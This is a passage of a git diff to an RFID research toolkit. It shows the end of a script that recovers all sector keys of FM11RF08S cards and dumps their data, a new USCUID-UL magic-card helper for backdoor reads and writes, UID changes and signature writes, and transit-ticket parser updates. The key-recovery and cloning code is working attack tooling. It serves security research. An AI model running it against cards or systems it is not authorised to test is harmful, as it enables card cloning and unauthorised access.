faster + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" + cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" + if debug: + print(cmd) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "aborted via keyboard" in line: + abort = True + matched = match_key(line) + if matched is not None: + found_keys[sec][key_type] = matched + show_key(real_sec, key_type, found_keys[sec][key_type]) + if nt[sec][0] == nt[sec][1] and found_keys[sec][key_type ^ 1] == "": + found_keys[sec][key_type ^ 1] = found_keys[sec][key_type] + show_key(real_sec, key_type ^ 1, found_keys[sec][key_type ^ 1]) + if abort: + break + if abort: + break + + for key_type in [0, 1]: + # If we have a filtered dict + # note: we skip if we already know one key + # as using 2x1nt1key later will be faster + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type]: + # Use filtered dict + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" + cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" + if debug: + print(cmd) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "aborted via keyboard" in line: + abort = True + matched = match_key(line) + if matched is not None: + found_keys[sec][key_type] = matched + show_key(real_sec, key_type, found_keys[sec][key_type]) + if abort: + break + if abort: + break + + # If one common key for the sector + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1]: + key_type = 0 + # Use regular dict + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" + cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" + if debug: + print(cmd) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "aborted via keyboard" in line: + abort = True + matched = match_key(line) + if matched is not None: + found_keys[sec][0] = matched + found_keys[sec][1] = matched + show_key(real_sec, 0, found_keys[sec][0]) + show_key(real_sec, 1, found_keys[sec][1]) + if abort: + break + + # If one key is missing, use the other one with 2x1nt1key + if ((found_keys[sec][0] == "") ^ (found_keys[sec][1] == "")) and nt[sec][0] != nt[sec][1]: + if (found_keys[sec][0] == ""): + key_type_source = 1 + key_type_target = 0 + else: + key_type_source = 0 + key_type_target = 1 + if duplicates_dicts[sec][key_type_target]: + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_duplicates.dic" + elif filtered_dicts[sec][key_type_target]: + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_filtered.dic" + else: + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic" + cmd = [staticnested_2x1nt1key_path, nt[sec][key_type_source], found_keys[sec][key_type_source], dic] + if debug: + print(' '.join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True).stdout + keys = set() + for line in result.split('\n'): + matched = match_key(line) + if matched is not None: + keys.add(matched) + if len(keys) > 1: + kt = ['a', 'b'][key_type_target] + cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} --no-default" + for k in keys: + cmd += f" -k {k}" + if debug: + print(cmd) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "aborted via keyboard" in line: + abort = True + matched = match_key(line) + if matched is not None: + found_keys[sec][key_type_target] = matched + elif len(keys) == 1: + found_keys[sec][key_type_target] = keys.pop() + if found_keys[sec][key_type_target] != "": + show_key(real_sec, key_type_target, found_keys[sec][key_type_target]) + if abort: + break + + if abort: + show("Brute-forcing phase aborted via keyboard!") + final_check = False + + plus = "[" + color("+", fg="green") + "] " + if final_check: + show("Letting fchk do a final dump, just for confirmation and display...") + keys_set = set([i for sl in found_keys for i in sl if i != ""]) + with (open(f"keys_{uid:08x}.dic", "w")) as f: + for k in keys_set: + f.write(f"{k}\n") + cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump" + if debug: + print(cmd) + p.console(cmd, capture=True, quiet=False) + for line in p.grabbed_output.split('\n'): + if "Found keys have been dumped to" in line: + keyfile = line[line.index("`"):].strip("`") + else: + show(prompt=plus) + show("-----+-----+--------------+---+--------------+----", prompt=plus) + show(" Sec | Blk | key A |res| key B |res", prompt=plus) + show("-----+-----+--------------+---+--------------+----", prompt=plus) + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + keys = [["", 0], ["", 0]] + for key_type in [0, 1]: + if found_keys[sec][key_type] == "": + keys[key_type] = [color("------------", fg="red"), color("0", fg="red")] + else: + keys[key_type] = [color(found_keys[sec][key_type], fg="green"), color("1", fg="green")] + show(f" {real_sec:03} | {real_sec*4+3:03} | " + + f"{keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ", prompt=plus) + show("-----+-----+--------------+---+--------------+----", prompt=plus) + show("( " + color("0", fg="red") + ":Failed / " + + color("1", fg="green") + ":Success )", prompt=plus) + show() + show("Generating binary key file", prompt=plus) + keyfile = f"{save_path}hf-mf-{uid:08X}-key.bin" + unknown = False + with (open(keyfile, "wb")) as f: + for key_type in [0, 1]: + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS * (1 - int(no_oob))): + k = found_keys[sec][key_type] + if k == "": + k = "FFFFFFFFFFFF" + unknown = True + f.write(bytes.fromhex(k)) + show("Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`", prompt=plus) + if unknown: + show(" --[ " + color("FFFFFFFFFFFF", fg="yellow") + + " ]-- has been inserted for unknown keys", prompt="[" + color("=", fg="yellow") + "]") + show("Generating final dump file", prompt=plus) + dump_file = f"{save_path}hf-mf-{uid:08X}-dump.bin" + with (open(dump_file, "wb")) as f: + for sec in range(NUM_SECTORS): + for b in range(4): + d = data[(sec * 4) + b] + if b == 3: + ka = found_keys[sec][0] + kb = found_keys[sec][1] + if ka == "": + ka = "FFFFFFFFFFFF" + if kb == "": + kb = "FFFFFFFFFFFF" + d = ka + d[12:20] + kb + f.write(bytes.fromhex(d)) + show("Data has been dumped to `" + color(dump_file, fg="yellow")+"`", prompt=plus) + + # Remove generated dictionaries after processing + if not keep: + show("Removing generated dictionaries...", prompt=plus) + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + for key_type in [0, 1]: + for append in ["", "_filtered", "_duplicates"]: + file_name = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}{append}.dic" + if os.path.isfile(file_name): + os.remove(file_name) + + elapsed_time3 = time.time() - start_time - elapsed_time1 - elapsed_time2 + minutes = int(elapsed_time3 // 60) + seconds = int(elapsed_time3 % 60) + show("----Step 3: " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds -----------") + + elapsed_time = time.time() - start_time + minutes = int(elapsed_time // 60) + seconds = int(elapsed_time % 60) + show("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds -----------") + return {'keyfile': keyfile, 'found_keys': found_keys, 'dump_file': dump_file, 'data': data} + + +def main(): + """ + Parse command-line arguments and initiate the recovery process. + + Command-line arguments: + -x, --init-check: Run an initial fchk for default keys. + -y, --final-check: Run a final fchk with the found keys. + -n, --no-oob: Do not save out of bounds keys. + -k, --keep: Keep generated dictionaries after processing. + -d, --debug: Enable debug mode. + -s, --supply-chain: Enable supply-chain mode. Look for hf-mf-XXXXXXXX-default_nonces.json. + + The supply-chain mode json can be produced from the json saved by + "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with + jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}'. + + This function calls the recovery function with the parsed arguments. + """ + parser = argparse.ArgumentParser(description='A script combining staticnested* tools ' + 'to recover all keys from a FM11RF08S card.') + parser.add_argument('-x', '--init-check', action='store_true', help='Run an initial fchk for default keys') + parser.add_argument('-y', '--final-check', action='store_true', help='Run a final fchk with the found keys') + parser.add_argument('-n', '--no-oob', action='store_true', help='Do not save out of bounds keys') + parser.add_argument('-k', '--keep', action='store_true', help='Keep generated dictionaries after processing') + parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode') + parser.add_argument('-s', '--supply-chain', action='store_true', help='Enable supply-chain mode. ' + 'Look for hf-mf-XXXXXXXX-default_nonces.json') + # Such json can be produced from the json saved by + # "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with + # jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}' + args = parser.parse_args() + + recovery( + init_check=args.init_check, + final_check=args.final_check, + keep=args.keep, + no_oob=args.no_oob, + debug=args.debug, + supply_chain=args.supply_chain, + quiet=False + ) + + +if __name__ == '__main__': + main() diff --git a/client/pyscripts/hf_mfu_uscuid.py b/client/pyscripts/hf_mfu_uscuid.py new file mode 100644 index 000000000..417694a33 --- /dev/null +++ b/client/pyscripts/hf_mfu_uscuid.py @@ -0,0 +1,198 @@ +### Crappy helper script for USCUID-UL, v0.2.4.2 +## Written and tested by Eltrick +# It is recommended that you are able to backdoor read main blocks +# in case changing from one type to another messes up keys/pwd +# unless you know what you're doing. + +## For the uninitiated, the keys are stored in the following locations +## per the corresponding datasheets +# UL11 - PWD - page 18d +# UL21 - PWD - page 39d +# UL-C - KEY - pages 44d to 47d +# NTAG 213 - PWD - page 43d +# NTAG 215 - PWD - page 133d +# NTAG 216 - PWD - page 229d + +import argparse +import pm3 + +try: + # pip install ansicolors + from colors import color +except ModuleNotFoundError: + def color(s, fg=None): + _ = fg + return str(s) + +HEX_DIGITS = "0123456789ABCDEF" +MEMORY_CONFIG = { "C3": "UL11", "3C": "UL21", "00": "UL-C", "A5": "NTAG 213", "5A": "NTAG 215", "AA": "NTAG 216", "55": "Unknown IC with 238 pages" } +KNOWN_CONFIGS = ["C30004030101000B03", "3C0004030101000E03", "000000000000000000", "A50004040201000F03", "5A0004040201001103", "AA0004040201001303"] + +parser = argparse.ArgumentParser(description='A script to help with raw USCUID-UL commands. Out of everything until -s, only one functionality can be used at a time, prioritised in order listed below.') +parser.add_argument('-r', '--read', action='store_true', help='Read and parse config from card') +parser.add_argument('-t', '--type', help='Type to change to: 1-UL11; 2-UL21; 3-UL-C; 4-NTAG213; 5-NTAG215; 6-NTAG216') +parser.add_argument('-c', '--cfg', help='Config to write') +parser.add_argument('-p', '--parse', help='Config to parse') +parser.add_argument('-b', '--bdr', help='Page num to read with backdoor') +parser.add_argument('-w', '--wbd', help='First page num to write with backdoor') +parser.add_argument('-u', '--uid', help='New UID to write') +parser.add_argument('-d', '--data', help='Page data to write if using -w, multiple of 4 bytes') +parser.add_argument('-s', '--sig', help='Signature to write with backdoor') +parser.add_argument('--gen1a', action='store_true', help='Use gen1a (40/43) magic wakeup') +parser.add_argument('--gdm', action='store_true', help='Use gdm alt (20/23) magic wakeup') + +args = parser.parse_args() +card_config = args.read +ul_type = args.type +config = args.cfg +parse = args.parse +backdoor_block = args.bdr +write_backdoor = args.wbd +data = args.data +signature = args.sig +gen1a = args.gen1a +alt = args.gdm +uid = args.uid + +field_on = False +p = pm3.pm3() + +ERROR = "[" + color("-", "red") + "] " +SUCCESS = "[" + color("+", "green") + "] " + +def verify_config(config: str) -> bool: + if len(config) != 32: + print(ERROR + "Configuration data must be 16 bytes.") + return False + if set(config) > set(HEX_DIGITS): + print(ERROR + "Configuration data must be in hex.") + return False + return True + +def parse_config(config: str): + print(SUCCESS + "" + config) + cfg_magic_wup = config[0:4] + cfg_wup_style = config[4:6] + cfg_regular_available = config[6:8] + cfg_auth_type = config[8:10] + cfg_cuid = config[12:14] + cfg_memory_config = config[14:16] + + log_magic_wup = "Magic wakeup " + ("en" if cfg_magic_wup != "8500" else "dis") + "abled" + (" with config access" if cfg_magic_wup == "7AFF" else "") + log_wup_style = "Magic wakeup style " + ("Gen1a 40(7)/43" if cfg_wup_style == "00" else ("GDM 20(7)/23" if cfg_wup_style == "85" else "unknown")) + log_regular_available = "Config " + ("" if cfg_regular_available == "A0" else "un") + "available in regular mode" + log_auth_type = "Auth type " + ("1B - PWD" if cfg_auth_type == "00" else "1A - 3DES") + log_cuid = "CUID " + ("dis" if cfg_cuid == "A0" else "en") + "abled" + log_memory_config = "Maximum memory configuration: " + (MEMORY_CONFIG[cfg_memory_config] if cfg_memory_config in MEMORY_CONFIG.keys() else "unknown") + + print(SUCCESS + "^^^^............................ " + log_magic_wup) + print(SUCCESS + "....^^.......................... " + log_wup_style) + print(SUCCESS + "......^^........................ " + log_regular_available) + print(SUCCESS + "........^^...................... " + log_auth_type) + print(SUCCESS + "..........^^.................... unknown") + print(SUCCESS + "............^^.................. " + log_cuid) + print(SUCCESS + "..............^^................ " + log_memory_config) + print(SUCCESS + "................^^^^^^^^^^^^^^^^ version info") + +def try_auth_magic(enforced = False): + if enforced and not (gen1a | alt): + print(ERROR + "Magic wakeup required. Please select one.") + exit() + if gen1a ^ alt: + p.console("hf 14a raw -akb 7 " + ("40" if gen1a else "20")) + p.console("hf 14a raw -k " + ("43" if gen1a else "23")) + +def write_config(config: str): + try_auth_magic() + for i in range(4): + p.console("hf 14a raw -" + ("s" if (i == 0 and not (gen1a or alt)) else "") + ("k" if i != 3 else "") + "c" + f" E2{i:02x}" + config[8*i:8*i+8], False, False) + +def grab_config() -> str: + try_auth_magic() + p.console("hf 14a raw -c" + ("s" if not (gen1a or alt) else "") + " E050") + return p.grabbed_output.split("\n")[-2][4:-9].replace(" ", "") + +if gen1a and alt: + print(ERROR + "Please only choose one magic wakeup type.") + exit() + +if card_config: + config_grab = grab_config() + if not verify_config(config_grab): + print(ERROR + "Failed to grab config data from card.") + exit() + parse_config(config_grab) + +elif ul_type != None: + ul_type_num = int(ul_type) - 1 + if ul_type_num < 0 or ul_type_num >= len(KNOWN_CONFIGS): + print(ERROR + "Type specified is non-existent.") + exit() + old_config = grab_config() + new_config = old_config[0:8] + ("0A" if ul_type_num == 2 else "00") + old_config[10:14] + KNOWN_CONFIGS[ul_type_num] + write_config(new_config) + +elif config != None: + config = config.upper() + if not verify_config(config): + exit() + write_config(config) + +elif parse != None: + parse = parse.upper() + if not verify_config(parse): + exit() + parse_config(parse) + +elif backdoor_block != None: + block = int(backdoor_block) + try_auth_magic(True) + p.console(f"hf 14a raw -c 30{block:02x}") + print(p.grabbed_output.split("\n")[-2][4:-9].replace(" ", "")) + +elif write_backdoor != None: + write_backdoor_num = int(write_backdoor) + if data == None: + print(ERROR + "Specify data to write to the block.") + exit() + if len(data) % 8 != 0: + print(ERROR + "Data must be a multiple of 4 bytes.") + exit() + + try_auth_magic(True) + for i in range(len(data) // 8): + p.console("hf 14a raw -" + ("k" if i != (len(data) // 8 - 1) else "") + f"c A2{(write_backdoor_num + i):02x}{data[8*i:8*i+8]}", False, False) + +elif uid != None: + if len(uid) != 14: + print(ERROR + "UID must be 7 bytes.") + exit() + try_auth_magic() + p.console(f"hf 14a raw -kc" + ("s" if not (gen1a or alt) else "") + " 3002") + block_2 = p.grabbed_output.split("\n")[-2][4:-9].replace(" ", "")[:8] + uid_bytes = [int(uid[2*x:2*x+2], 16) for x in range(7)] + + bcc_0 = 0x88 ^ uid_bytes[0] ^ uid_bytes[1] ^ uid_bytes[2] + new_block_0 = "" + for i in range(3): + new_block_0 += f"{uid_bytes[i]:02x}" + new_block_0 += f"{bcc_0:02x}" + + bcc_1 = uid_bytes[3] ^ uid_bytes[4] ^ uid_bytes[5] ^ uid_bytes[6] + new_block_1 = uid[6:] + new_block_2 = f"{bcc_1:02x}" + block_2[2:] + p.console("hf 14a raw -kc A200" + new_block_0, False, False) + p.console("hf 14a raw -kc A201" + new_block_1, False, False) + p.console("hf 14a raw -c A202" + new_block_2, False, False) + +elif signature != None: + if len(signature) != 64: + print(ERROR + "Signature must be 32 bytes.") + exit() + try_auth_magic(True) + signature_pages = [signature[8*x:8*x+8] for x in range(8)] + for i in range(8, 16): + p.console("hf 14a raw -c" + ("k" if i != 15 else "") + f" A2F{i:01x}{signature_pages[i - 8]}", False, False) + +# Always try to HALT +p.console("hf 14a raw -c 5000") diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index 82d39f57f..6ccfaee2b 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -90,11 +90,11 @@ def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate): unk = Usage.nom_bits(65) EventValidityTimeFirstStamp = Usage.nom(11) - print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk1... :', unk); + print(' unk1... :', unk) print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate): @@ -110,18 +110,18 @@ def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate): EventCountPassengers_mb = Usage.nom(4) EventValidityTimeFirstStamp = Usage.nom(11) - print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk0... :', unk0); + print(' unk0... :', unk0) print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) - print(' unk1... :', unk1); + print(' unk1... :', unk1) print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) print(' GeoRouteId : {}'. format(EventGeoRouteId)) print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate): @@ -143,22 +143,21 @@ def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate): 0x1: 'tramway', } - print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) print(' Count(?) : {}'. format(EventCount_mb)) - print(' unk0... :', unk0); + print(' unk0... :', unk0) print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?'))) print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?'))) - print(' unk1... :', unk1); + print(' unk1... :', unk1) print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) print(' GeoRouteId : {}'. format(EventGeoRouteId)) print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) - def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate): EventDateStamp = Usage.nom(10) EventTimeStamp = Usage.nom(11) @@ -171,17 +170,76 @@ def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate): EventCountPassengers_mb = Usage.nom(4) EventValidityTimeFirstStamp = Usage.nom(11) - print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk0... :', unk0); + print(' unk0... :', unk0) print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) - print(' unk1... :', unk1); + print(' unk1... :', unk1) print(' GeoRouteId : {}'. format(EventGeoRouteId)) print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_2_1(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk0 = Usage.nom_bits(8) + EventCode_Nature = Usage.nom(5) + EventCode_Type = Usage.nom(5) + unk = Usage.nom_bits(19) + EventGeoRouteId = Usage.nom(14) + EventGeoRoute_Direction = Usage.nom(2) + EventGeoVehicleId = Usage.nom(16) + EventCountPassengers_mb = Usage.nom(4) + + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk0... :', unk0) + print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) + print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) + print(' unk1... :', unk) + print(' GeoRouteId : {}'. format(EventGeoRouteId)) + print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) + print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) + print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) + print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()) + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_2_2(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk0 = Usage.nom_bits(8) + EventCode_Nature = Usage.nom(5) + EventCode_Type = Usage.nom(5) + unk1 = Usage.nom_bits(11) + EventGeoRouteId = Usage.nom(14) + EventGeoRoute_Direction = Usage.nom(2) + EventGeoVehicleId = Usage.nom(16) + unk2 = Usage.nom_bits(4) + EventValidityTimeFirstStamp = Usage.nom(11) + unk3 = Usage.nom_bits(3) + EventCountPassengers_mb = Usage.nom(4) + + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) + print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk0... :', unk0) + print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) + print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) + print(' unk1... :', unk1) + print(' GeoRouteId : {}'. format(EventGeoRouteId)) + print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) + print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) + print(' unk2... :', unk2) + print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' unk3... :', unk3) + print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate): @@ -190,11 +248,11 @@ def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate): unk = Usage.nom_bits(27) EventValidityTimeFirstStamp = Usage.nom(11) - print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk1... :', unk); + print(' unk1... :', unk) print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate): @@ -203,16 +261,16 @@ def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate): unk = Usage.nom_bits(63) EventValidityTimeFirstStamp = Usage.nom(11) - print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))) print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk1... :', unk); + print(' unk1... :', unk) print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate): print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!') - print(' left... :', Usage.nom_bits_left()); + print(' left... :', Usage.nom_bits_left()) print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) print(' !!! Trying Usage_1 (the most common) !!!') Usage.reset() @@ -226,10 +284,12 @@ class InterticHelper(NamedTuple): ISO_Countries = { 0x250: 'France', + 0x504: 'Maroc', } FRA_OrganizationalAuthority_Contract_Provider = { 0x000: { + 1: InterticHelper('Valenciennes', 'Transvilles / Keolis', Describe_Usage_1_1), 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1), 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1), }, @@ -239,9 +299,15 @@ FRA_OrganizationalAuthority_Contract_Provider = { 0x008: { 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ? }, + 0x013: { + 1: InterticHelper('Avignon', 'Orizo'), + }, 0x021: { 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1), }, + 0x040: { + 28: InterticHelper('Colmar', 'Trace / Keolis', Describe_Usage_1_1), + }, 0x057: { 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1 }, @@ -253,10 +319,12 @@ 